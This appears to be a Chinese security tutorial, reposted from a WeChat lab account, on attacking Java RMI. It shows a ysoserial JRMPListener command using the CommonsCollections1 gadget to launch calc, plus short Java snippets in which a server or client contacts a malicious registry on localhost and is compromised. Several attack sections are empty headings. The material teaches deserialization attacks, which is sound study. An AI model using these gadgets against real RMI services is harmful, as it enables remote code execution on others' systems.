基础知识
动态代理
反射
攻击方式
注册端攻击服务端
java -cp .ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"
public static void main(String[] args) throws RemoteException, MalformedURLException, NotBoundException, RemoteException {
//开启一个恶意的reg,然后server去过去链接注册,则会中招
String url = "rmi://127.0.0.1:1099/setUser";
Naming.unbind(url);
}
注册端攻击客户端
public static void main(String[] args) {
//PS F:toolsEXP> java -cp .ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"
try{
String url = "rmi://127.0.0.1:1099/exp";
User user = (User) Naming.lookup(url);
}catch(Exception e){
e.printStackTrace();
}
}
服务端攻击注册端
-
注册端开启
-
Server端利用CC1进行攻击
服务端攻击客户端
-
服务端将恶意类注册
-
客户端加载执行
往期回顾
CTF真题php在多重限制下的情况下如何执行命令?
原文始发于微信公众号(雷石安全实验室):java安全-02RMI
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论